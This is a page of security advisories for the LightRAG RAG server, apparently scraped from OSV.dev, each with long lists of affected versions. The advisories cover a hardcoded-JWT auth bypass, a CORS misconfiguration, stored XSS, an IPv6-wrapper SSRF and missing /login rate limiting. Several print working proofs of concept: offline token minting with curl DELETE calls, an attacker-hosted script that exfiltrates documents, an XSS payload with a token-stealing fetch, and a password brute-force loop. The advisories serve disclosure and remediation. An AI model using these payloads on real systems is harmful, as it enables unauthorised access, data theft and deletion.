Fix status: implemented in HKUDS/LightRAG#3422 — a shared internal_server_error() helper routes all 500 handlers through a generic body carrying a correlation id (full detail logged server-side), a global @app.exception_handler(Exception) is registered in create_app, and the two 422 validators are wrapped.

Credits

Thai Son Dinh from VinSOC Labs (R&D)
Nguyen Huy Vu Dung from VinSOC Labs (AppSec)

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-61740 PYSEC-2026-3475 GHSA-f4vv-55c2-5789 Jul 23, 2026

LightRAG is Vulnerable to Authentication Bypass: hardcoded DEFAULT_TOKEN_SECRET and public /auth-status defeat LIGHTRAG_API_KEY protection

Critical

Network Low None None

Summary

When LightRAG is deployed with LIGHTRAG_API_KEY set but AUTH_ACCOUNTS unset (an officially documented "API-Key authentication" mode), the X-API-Key protection can be bypassed by any remote unauthenticated attacker. The bypass does not require network contact with the victim server — an attacker can mint a valid guest JWT offline using the hardcoded DEFAULT_TOKEN_SECRET committed in the repository and then call any endpoint guarded by Depends(combined_auth), including destructive operations such as DELETE /documents, POST /documents/upload, /documents/clear_cache, and POST /query.

This is distinct from the previously-fixed GHSA-mcww-4hxq-hfr3 / CVE-2026-30762, which only covered the AUTH_ACCOUNTS-configured case. The API-Key-only deployment profile is still fully exploitable on current main (commit 157c331, v1.4.15).

Root cause

Three independent issues combine:

lightrag/api/config.py:54 ships a hardcoded default JWT secret:
```
DEFAULT_TOKEN_SECRET="lightr...key!"
```
lightrag/api/auth.py:28-38 falls back to DEFAULT_TOKEN_SECRET with only a warning log when AUTH_ACCOUNTS is not configured. The fix for CVE-2026-30762 only raises when AUTH_ACCOUNTS is set, so the API-key-only path is silently vulnerable.
lightrag/api/lightrag_server.py:1140-1186 exposes GET /auth-status and POST /login without any authentication dependency. In the API-key-only configuration, auth_handler.accounts is empty, and both endpoints unconditionally mint and return a signed guest JWT.
lightrag/api/utils_api.py:214-216 inside combined_dependency short-circuits authorization on any valid guest token when auth_configured is false, before reaching the X-API-Key check on line 237:
```
if not auth_configured and token_info.get("role") == "guest":
    return
```

Proof of concept (offline-minted token, zero server contact)

Tested against a clean install of commit 157c331 running locally with only LIGHTRAG_API_KEY=super-...ass configured.

$ python3 - <<'PY'
import jwt
from datetime import datetime, timedelta, timezone
print(jwt.encode(
    {"sub":"guest","role":"guest",
     "exp":datetime.now(timezone.utc)+timedelta(hours=24),
     "metadata":{"auth_mode":"disabled"}},
    "lightrag-jwt-default-secret-key!",
    algorithm="HS256"))
PY
eyJhbGci...

# Control — no creds: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" http://target:9876/documents
{"detail":"API Key required"}
HTTP 403

# Control — wrong API key: correctly rejected
$ curl -s -w "HTTP %{http_code}\n" -H "X-API-Key: wrong-key" http://target:9876/documents
{"detail":"Invalid API Key"}
HTTP 403

# Bypass — offline-minted guest JWT: accepted
$ curl -s -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"statuses":{}}
HTTP 200

# Destructive confirmation — DELETE /documents with the same token
$ curl -s -X DELETE -w "HTTP %{http_code}\n" -H "Authorization: Bearer *** \
    http://target:9876/documents
{"status":"success","message":"All documents cleared successfully. Deleted 0 files."}
HTTP 200

The guest JWT also does not need to be minted offline — GET /auth-status hands one out to anyone, even when the server is started with LIGHTRAG_API_KEY set. Either path (offline or /auth-status) yields the same bypass.

Impact

Any LightRAG instance that is reachable on the network and configured with:

LIGHTRAG_API_KEY set (i.e. the operator believes the server is protected), and
AUTH_ACCOUNTS unset (i.e. they opted out of the password-based login flow)

is fully accessible to any anonymous caller. This configuration is documented as the "simple API-Key authentication" mode in docs/LightRAG-API-Server.md, so it is expected to be common in production. An attacker can:

Read and delete arbitrary documents (/documents, DELETE /documents)
Upload arbitrary documents and text for ingestion (/documents/upload, /documents/text, /documents/texts, /documents/file_batch, /documents/scan)
Clear LLM / embedding caches (/documents/clear_cache)
Inspect and mutate the knowledge graph (/graph/*)
Run arbitrary queries that will consume paid LLM / embedding credits (/query, /query/stream)

Because the server may be exposed behind corporate reverse proxies that trust LIGHTRAG_API_KEY, this also lets the attacker bypass perimeter authentication that the operator assumed was sufficient.

Suggested CVSS

7.5 — CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L (High). Unauthenticated, network-reachable, affects confidentiality and integrity of all ingested documents and knowledge graphs; availability impact via cache wipes and credit exhaustion.

Suggested fix

Any one of the following individually closes the primary vector; all three are recommended for defense in depth:

Remove the hardcoded fallback. Mirror the fix for CVE-2026-30762: refuse to start (or emit a randomly-generated ephemeral secret that is not exported) whenever TOKEN_SECRET is unset, regardless of AUTH_ACCOUNTS.
Gate /auth-status and /login when LIGHTRAG_API_KEY is set. Either require Depends(combined_auth) or stop minting guest tokens whenever api_key_configured is true.
Fix the short-circuit in combined_dependency. Do not accept guest tokens as authentication when api_key_configured is true; always require a valid X-API-Key header in that configuration.

Affected versions

main through commit 157c331 (2026-04-15)
Most recent release v1.4.15 and all prior releases that ship the API-Key-only code path

Prior art checked

GHSA-8ffj-4hx4-9pgf / CVE-2026-39413 — JWT alg:none. Unrelated.
GHSA-mcww-4hxq-hfr3 / CVE-2026-30762 — hardcoded JWT secret combined with AUTH_ACCOUNTS. Fixed by PR #2869, which explicitly does not cover the API-Key-only configuration.
Issues/PRs searched: "guest token bypass", "DEFAULT_TOKEN_SECRET", "hardcoded secret", "auth-status", "api key bypass". No prior report covering this vector.

Discovery

Found during an external security review of LightRAG's API authentication flow. Reporter can be credited publicly as "patchmyday (Jason Zhang)" upon disclosure.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 75 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3

Fixed in


          1.5.4

References

Updated Jul 23, 2026 · Source: OSV.dev

CVE-2026-61736 PYSEC-2026-3474 GHSA-6x6h-qqr7-855w Jul 23, 2026

LightRAG: CORS Wildcard + Credentials Enables Any-Origin Credentialed Requests

9.3 / 10

Critical

Network Low None Required Changed High High None

Summary

The server defaults to CORS_ORIGINS=* combined with allow_credentials=True. Starlette's CORSMiddleware echoes the requesting origin in preflight responses when credentials are enabled, meaning every origin is effectively whitelisted for credentialed cross-origin requests. Any malicious website can perform authenticated API calls on behalf of a logged-in user.

Details

# lightrag/api/config.py:639
args.cors_origins = get_env_value("CORS_ORIGINS", "*")  # default wildcard

# lightrag/api/lightrag_server.py:1379
app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],       # any origin
    allow_credentials=True,   # credentials — PROBLEM with wildcard
    allow_methods=["*"],
    allow_headers=["*"],
)

# Starlette CORSMiddleware (confirmed in source):
# preflight_explicit_allow_origin = not allow_all_origins or allow_credentials
# = not True or True = True  → echoes the requesting origin back, not "*"
# Result: every origin receives Access-Control-Allow-Credentials: true

PoC

Host on any origin. Open in browser where user is logged in to LightRAG:

<!-- attacker.com/steal.html -->
<script>
const TARGET = "http://lightrag-server:9621";
(async () => {
  // Get victim token (or re-use existing session)
  const r1 = await fetch(`${TARGET}/login`, {
    method: "POST", credentials: "include",
    headers: {"Content-Type": "application/x-www-form-urlencoded"},
    body: "username=victim&password=known_pass"
  });
  const { access_token } = await r1.json();

  // Exfiltrate all documents
  const docs = await (await fetch(`${TARGET}/documents`, {
    credentials: "include",
    headers: { Authorization: `Bearer ${access_token}` }
  })).json();
  console.log("STOLEN DOCS:", docs);
})();
</script>

Impact

Permissive cross-domain policy (CWE-942). Any website visited by an authenticated LightRAG user can silently make authenticated API requests, exfiltrating all documents and knowledge graph data or performing destructive actions such as deleting the entire document store.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 75 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3

Fixed in


          1.5.4

References

Updated Jul 23, 2026 · Source: OSV.dev

Apr 19, 2026

1.4.14 patch

7 CVEs

CVE-2026-86062 PYSEC-2026-4065 GHSA-xpjq-3w4w-w5wr Oct 01, 2026

lightrag-hku: Stored Cross-Site Scripting (XSS) in the LightRAG WebUI chat/answer renderer via ingested content

6.1 / 10

Medium

Network Low None Required Changed Low Low None

Summary

The LightRAG WebUI renders assistant/answer chat content as raw HTML — react-markdown is configured with rehypePlugins={[rehypeRaw]} and skipHtml={false} and no HTML sanitizer (rehype-sanitize), element allow-list, or custom urlTransform. Because answer content is derived from user-ingested documents, an attacker who can add a single document can store an HTML/JavaScript payload that executes in the browser of any user who later retrieves it (typically an administrator), leading to auth-token theft from localStorage and full API takeover. No authentication is required in the default configuration.

Details

Sink — lightrag_webui/src/components/retrieval/ChatMessage.tsx:

Main answer (MessageMarkdown, lines ~348-351) and thinking content (lines ~252-272) render with rehypePlugins={[rehypeRaw, …]} and skipHtml={false}. The components map (lines ~111-156) only restyles safe formatting tags (p, h1–h4, ul, ol, li, code); there is no rehype-sanitize, no allowedElements/disallowedElements, and no custom urlTransform.
Second sink: mermaid is initialized with securityLevel: 'loose' (line ~433) and the rendered SVG is injected via container.innerHTML = svg (line ~483) + bindFunctions(container). 'loose' disables mermaid's output sanitization, so a ```mermaid block in answer content (HTML label / click directive) is an additional script-execution path.
Hardening (not code execution): KaTeX is set with trust: true (lines ~261/~359). \href{javascript:…} is blocked by React 19, but \includegraphics{URL} renders a live remote <img src> (arbitrary external resource load from the victim's browser). Recommend trust: false.

Source → sink: POST /documents/text or POST /documents/upload stores the document → POST /query returns it (verbatim when only_need_context=true, lightrag/api/routers/query_routes.py:27; otherwise echoed by the LLM) → the response is streamed into assistantMessage.content (lightrag_webui/src/features/RetrievalView.tsx:340) → rendered by the sink above.

react-markdown's built-in defenses do NOT cover this: it sanitizes href/src URLs (so javascript: links are blocked) and React ignores string event handlers (so <img onerror> is dropped), but raw elements such as <iframe srcdoc="…"> and <svg><script> are rendered unchanged and execute.

PoC

Benign, local-only. Tested at commit f3378a3 (v1.5.5) with react@19, react-markdown@10.1.0, rehype-raw@7.0.0.

Fastest check (code review, ~10s): in ChatMessage.tsx, the <ReactMarkdown> that renders answers uses rehypePlugins={[rehypeRaw, …]} with skipHtml={false} and no rehype-sanitize / allow-list. Per react-markdown's own documentation, rehype-raw on untrusted input without rehype-sanitize allows HTML injection — that is the vulnerability.

Runnable proof (~2 min) — reproduces the exact renderer config and shows it execute in a browser:

mkdir xss-check && cd xss-check
npm init -y
npm install react@19 react-dom@19 react-markdown@10 rehype-raw@7
# save the script below as poc.mjs, then:
node poc.mjs
# open the generated poc.html in any browser (or headless):
#   msedge --headless=new --dump-dom "file:///ABS/PATH/poc.html"

poc.mjs:

import React from 'react';
import { renderToStaticMarkup } from 'react-dom/server';
import ReactMarkdown from 'react-markdown';
import rehypeRaw from 'rehype-raw';
import { writeFileSync } from 'fs';

// Stands in for an assistant answer built from an ingested document.
const answer =
  `<iframe srcdoc="<script>` +
  `var h=parent.document.createElement('h1');h.style.color='red';` +
  `h.textContent='XSS EXECUTED on '+(parent.document.domain||'this page');` +
  `parent.document.body.appendChild(h);parent.document.title='XSS-EXECUTED';` +
  `<\/script>"></iframe>`;

// EXACT options from ChatMessage.tsx (rehypeRaw + skipHtml:false, no sanitizer):
const body = renderToStaticMarkup(
  React.createElement(ReactMarkdown, { rehypePlugins: [rehypeRaw], skipHtml: false }, answer)
);
writeFileSync('poc.html', `<!doctype html><title>before-xss</title><body>${body}</body>`);
console.log(body);   // note the LIVE <iframe srcDoc="..."> — not HTML-escaped

Observed (verified in headless Chromium/Edge): the injected srcdoc script runs — the page title becomes XSS-EXECUTED and a red "XSS EXECUTED on this page" heading is appended to the document. This confirms attacker HTML in answer content executes. (Separately: <script>, <svg><script>, and <iframe srcdoc> survive rendering; <img onerror> and javascript: links are neutralized by React / react-markdown, so <iframe srcdoc> is the reliable vector.)

Illustrative end-to-end source path (in a live instance):

curl -X POST http://127.0.0.1:9621/documents/text \
  -H 'Content-Type: application/json' \
  -d '{"text":"<iframe srcdoc=\"&lt;script&gt;document.title=document.domain&lt;/script&gt;\"></iframe>","file_source":"note.md"}'

Then query the knowledge base from the WebUI (or POST /query with only_need_context=true); the stored payload renders and the benign marker script runs in the viewer's browser (the page title becomes the origin). A real attacker replaces the benign marker with fetch('//attacker/?t='+localStorage.getItem('LIGHTRAG-API-TOKEN')) to exfiltrate the victim's JWT (verified storage key) and impersonate them against the API.

Impact

Stored (persistent) cross-site scripting. Any user in the default no-auth deployment, or any authenticated low-privilege collaborator when auth is enabled, can plant a document whose content runs arbitrary JavaScript in the browser of every user who later retrieves it. Because LightRAG keeps the auth token in localStorage, the injected script can read it and drive the API as the victim (exfiltrate/modify/delete the knowledge base and graph, upload documents) — i.e. escalate to full account/instance takeover.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85740 PYSEC-2026-4064 GHSA-vv3m-f8x4-7377 Oct 01, 2026

lightrag-hku: SSRF via IPv6-transition address bypass (NAT64, IPv4-compatible, 6to4) of the native-markdown image-download guard

7.1 / 10

High

Network High Low None Changed High Low None

Summary

LightRAG's native markdown parser downloads external images referenced by an uploaded markdown or textpack document. The only SSRF guard, _validated_addresses() in lightrag/parser/markdown/parser.py, resolves the image host and rejects it when the resolved IP is not is_global. That check is evaluated on the raw resolved address and never decodes IPv6 transition wrappers that embed an internal IPv4. Python's ipaddress classifies a NAT64 (64:ff9b::/96 and the RFC 8215 64:ff9b:1::/48 prefix), IPv4-compatible (::a.b.c.d), or 6to4 (2002::/16) literal that wraps an internal IPv4 as globally routable, so the guard passes it. On a host with NAT64/DNS64 routing the request is then delivered to the embedded internal target (loopback, RFC1918, or a cloud metadata endpoint), and the fetched body is ingested. The plain and IPv4-mapped (::ffff:) forms of the same internal address are correctly blocked, so this is an encoding that defeats the existing filter.

Affected component and versions

Package: lightrag-hku (LightRAG), the native markdown image-download path.
Component: lightrag/parser/markdown/parser.py, guard _validated_addresses() (the if not (ip.is_global or ...) check), reached from _download() -> _build_guarded_opener().open(req).
Enabled by default: download_enabled = _env_bool("NATIVE_MD_IMAGE_DOWNLOAD_ENABLED", True).
Affected: LightRAG <= 1.5.4 (latest release at time of report, commit 9a45b64).
Precondition: the caller can upload a document (API key via Depends(combined_auth)); the host has NAT64/DNS64 routing for the encoded address to reach the internal endpoint.

Vulnerable code vs the guarded sibling

Evaluated on the exact resolved addresses (CPython ipaddress):

| Form | address | is_global | guard verdict | |---|---|---|---| | plain internal 127.0.0.1 | 127.0.0.1 | False | BLOCK (correct) | | IPv4-mapped | ::ffff:7f00:1 | False | BLOCK (correct) | | NAT64 64:ff9b::/96 | 64:ff9b::7f00:1 | True | PASS (bypass) | | NAT64 RFC8215 64:ff9b:1::/48 | 64:ff9b:1::7f00:1 | True | PASS (bypass) | | IPv4-compatible ::a.b.c.d | ::7f00:1 | True | PASS (bypass) | | 6to4 2002::/16 | 2002:7f00:1:: | True | PASS (bypass) |

The guard already blocks the plain and IPv4-mapped internal forms (the forms the author tested), proving the intent is to reject internal destinations; it never canonicalizes the other transition wrappers, so they pass.

Severity

High. CWE-918 (Server-Side Request Forgery). CVSS 3.1 vector AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:L/A:N, base score 7.1. AC:H reflects the NAT64/DNS64 network precondition for end-to-end reach; PR:L because document upload requires the API key; S:C because the request pivots into an internal network segment; C:H for internal/metadata/secret disclosure.

Proof of concept (deployed, both directions, verbatim)

Environment: three Docker containers on an IPv6-enabled network - an internal victim (10.66.0.2:80, RFC1918) serving a unique secret, a DNS64/NAT64 gateway owning 64:ff9b::/96 that forwards [64:ff9b::0a42:0002]:80 to 10.66.0.2:80, and an attacker host with a client-side route 64:ff9b::/96 via <gateway>. This models a client on an IPv6-only / NAT64+DNS64 network (AWS/GCP IPv6-only subnets, many mobile and corporate networks). The attacker runs the EXACT released guard code (_validated_addresses, _host_is_public, _build_guarded_opener, the _Guarded*Connection/Handler classes, sliced verbatim from v1.5.4 parser.py, only the logger import shimmed) plus a verbatim reproduction of the released _download() scheme and host precheck. Trigger in production: an uploaded document containing ![x](http://[64:ff9b::<internal-hex>]/a.png).

RUN 1, released v1.5.4 guard (VULNERABLE):

attack URL = http://[64:ff9b::0a42:0002]:80/logo.png
===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====
guard verdict : PASSED (fetched)
SECRET LEAKED : True
body          : SSRF-LIGHTRAG-INTERNAL-METADATA-9f3a2b7c
===== control: plain internal address (must be BLOCKED) =====
verdict: BLOCKED at guard: non-public host blocked
===== DIRECTION B: PUBLIC address (must still be FETCHED) =====
guard verdict : PASSED (fetched)
public body   : PUBLIC-OK-BODY
===== SUMMARY =====
attack_leaked_internal_secret = True
plain_internal_blocked        = True
public_still_fetched          = True

RUN 2, one-line-class decode fix applied (same inputs, same network):

===== DIRECTION A: ATTACK (NAT64-wrapped internal address) =====
guard verdict : BLOCKED at guard: non-public host blocked
SECRET LEAKED : False
===== control: plain internal address (must be BLOCKED) =====
verdict: BLOCKED at guard: non-public host blocked
===== DIRECTION B: PUBLIC address (must still be FETCHED) =====
guard verdict : PASSED (fetched)
public body   : PUBLIC-OK-BODY
===== SUMMARY =====
attack_leaked_internal_secret = False
plain_internal_blocked        = True
public_still_fetched          = True

Fix-correctness matrix (isolated): genuine global IPv6 2606:4700:4700::1111 and 2001:4860:4860::8888 -> ALLOW (no false positive); NAT64/RFC8215/IPv4-compat/6to4 wrappers of an internal IPv4 -> BLOCK; NAT64 of a public IPv4 (64:ff9b::808:808 = 8.8.8.8) -> ALLOW.

Impact

A caller who can upload a markdown or textpack document (textpack uploads route to the native engine with zero config; markdown reaches it when the native engine is selected) can make the LightRAG server issue HTTP requests to internal-only addresses that the SSRF guard is meant to forbid, and the fetched body is ingested. On a deployment with NAT64/DNS64 routing this reaches cloud instance metadata (169.254.169.254, 100.100.100.200), loopback services, and RFC1918 internal hosts, exposing IAM credentials and internal service data.

Suggested fix

Decode the embedded IPv4 of any IPv6 transition wrapper and classify by the embedded IPv4 before the is_global check:

def _unwrap_embedded_ipv4(ip):
    """Return the IPv4 embedded in an IPv6 transition wrapper (IPv4-mapped,
    IPv4-compatible, NAT64 64:ff9b::/96 and RFC8215 64:ff9b:1::/48, 6to4
    2002::/16) so it is classified by IPv4 rules; else return ip unchanged."""
    if ip.version != 6:
        return ip
    if ip.ipv4_mapped is not None:
        return ip.ipv4_mapped
    if getattr(ip, "sixtofour", None) is not None:
        return ip.sixtofour
    b = ip.packed
    if b[:12] == b"\x00" * 12 and b[12:] not in (b"\x00\x00\x00\x00", b"\x00\x00\x00\x01"):
        return ip_address(b[12:])
    if b[:12] == b"\x00\x64\xff\x9b" + b"\x00" * 8:
        return ip_address(b[12:])
    if b[:6] == b"\x00\x64\xff\x9b\x00\x01":
        return ip_address(b[12:])
    return ip

Then in _validated_addresses:

judged = _unwrap_embedded_ipv4(ip)
if not (judged.is_global or any(ip in net for net in allow)):
    return []

Verified: this blocks the NAT64/IPv4-compat/6to4 internal forms while genuine public IPs and public NAT64-wrapped IPs still pass.

Resolution

Addressed by #3426 (pending merge), targeted for release in lightrag-hku 1.5.5. _validated_addresses() now decides global-routability by starting from the stdlib's is_global on the literal and only ever tightening it — the guard is never more permissive than ipaddress itself:

Fixed-position transition wrappers are decoded and the embedded IPv4 must also be global (IPv4-mapped ::ffff:0:0/96, IPv4-compatible ::/96, and the NAT64 well-known prefix 64:ff9b::/96 — RFC 6052 §2.2, contiguous low-32 embedding). So 64:ff9b::7f00:1 (→ loopback) is blocked while 64:ff9b::808:808 (→ public 8.8.8.8) still passes.
Blocks whose embedded-IPv4 position must not be trusted are default-denied as whole blocks, independent of the interpreter: the RFC 8215 local-use prefix 64:ff9b:1::/48 (technology-agnostic, embedded-IPv4 position not guaranteed per RFC 8215 §5 — a fixed-offset decode is itself bypassable, e.g. 64:ff9b:1:7f00:0:100:808:808 encodes 127.0.0.1 but its low 32 bits read as public 8.8.8.8) and 6to4 2002::/16 (IANA global-reachability N/A; current CPython classifies the whole block non-global — RFC 7526 deprecated only the 6to4 anycast relay path, not the 2002::/16 prefix itself). Decoding 6to4 by its embedded IPv4 would have re-permitted 2002::/16 addresses the stdlib already blocks, so it is denied outright instead.

Genuine global IPv6 and a NAT64 wrapper of a public IPv4 still pass; regression tests cover every wrapped form of loopback / RFC1918 / metadata, the RFC 6052 /48 suffix bypass, and 6to4 of a public IPv4. Boundary: a NAT64 deployment using a custom, globally-routable Network-Specific Prefix (RFC 6052 permits any /32../96), or a genuine local NAT64 / legacy 6to4 in the force-denied blocks, is not auto-permitted — such operators should pin the download egress or set NATIVE_MD_IMAGE_ALLOWED_NON_PUBLIC_CIDRS deliberately.

Credit

tonghuaroot (tonghuaroot@gmail.com).

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


            1.4.9.6


            1.4.9.7


            1.4.9.8


            1.4.9.9


            1.4.9rc1


            1.4.9rc2


            1.4.9rc3


            1.4.9rc4


            1.5.0


            1.5.0rc1


            1.5.0rc2


            1.5.0rc3


            1.5.1


            1.5.2


            1.5.3


            1.5.4


            1.5.5rc1

Fixed in


          1.5.5

References

Updated Oct 01, 2026 · Source: OSV.dev

CVE-2026-85734 PYSEC-2026-4062 GHSA-frch-4w6v-q5xx Oct 01, 2026

lightrag-hku: No Rate Limiting on /login Endpoint Allows Brute-Force Attacks

9.1 / 10

Critical

Network Low None None Unchanged High High None

Summary

The POST /login endpoint has no rate limiting, account lockout, or delay on failed attempts. An attacker can submit unlimited password guesses at full network speed.

Details

# lightrag/api/lightrag_server.py:2161
@app.post("/login")
async def login(form_data: OAuth2PasswordRequestForm = Depends()):
    if not auth_handler.verify_password(username, form_data.password):
        raise HTTPException(status_code=401, detail="Incorrect credentials")
    # No: rate limit / lockout / backoff / CAPTCHA / attempt counter

A search for slowapi, rate_limit, lockout, or throttle in lightrag/api/ returns zero results.

PoC

# Brute-force /login with a wordlist, no throttling
while IFS= read -r pass; do
  code=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST http://<TARGET>:9621/login \
    -d "username=admin&password=${pass}")
  [ "$code" = "200" ] && echo "[FOUND] $pass" && break
done < /usr/share/wordlists/rockyou.txt

Impact

Improper restriction of authentication attempts. Any network-reachable attacker can brute-force user passwords without restriction. Once credentials are recovered, the attacker gains full authenticated access to all documents, knowledge graph, and administrative operations.

Affected versions


          0.0.2


          0.0.3


          0.0.4


          0.0.5


          0.0.6


          0.0.7


          0.0.8


          0.0.9


          1.0.0


          1.0.1


          1.0.3


          1.0.5

+ 77 more


            1.0.6


            1.0.8


            1.0.9


            1.1.0


            1.1.1


            1.1.2


            1.1.3


            1.1.4


            1.1.5


            1.1.6


            1.1.7


            1.2.1


            1.2.2


            1.2.3


            1.2.5


            1.2.6


            1.3.0


            1.3.1


            1.3.2


            1.3.3


            1.3.4


            1.3.5


            1.3.6


            1.3.7


            1.3.8


            1.3.9


            1.4.0


            1.4.1


            1.4.10


            1.4.11


            1.4.11rc2


            1.4.12


            1.4.12rc1


            1.4.13


            1.4.13rc1


            1.4.14


            1.4.15


            1.4.16


            1.4.2


            1.4.3


            1.4.4


            1.4.5


            1.4.6


            1.4.7


            1.4.8.1


            1.4.8.2


            1.4.8rc4


            1.4.8rc6


            1.4.8rc7


            1.4.8rc8


            1.4.8rc9


            1.4.9


            1.4.9.1


            1.4.9.10


            1.4.9.11


            1.4.9.2


            1.4.9.3


            1.4.9.4


            1.4.9.4rc1


            1.4.9.5


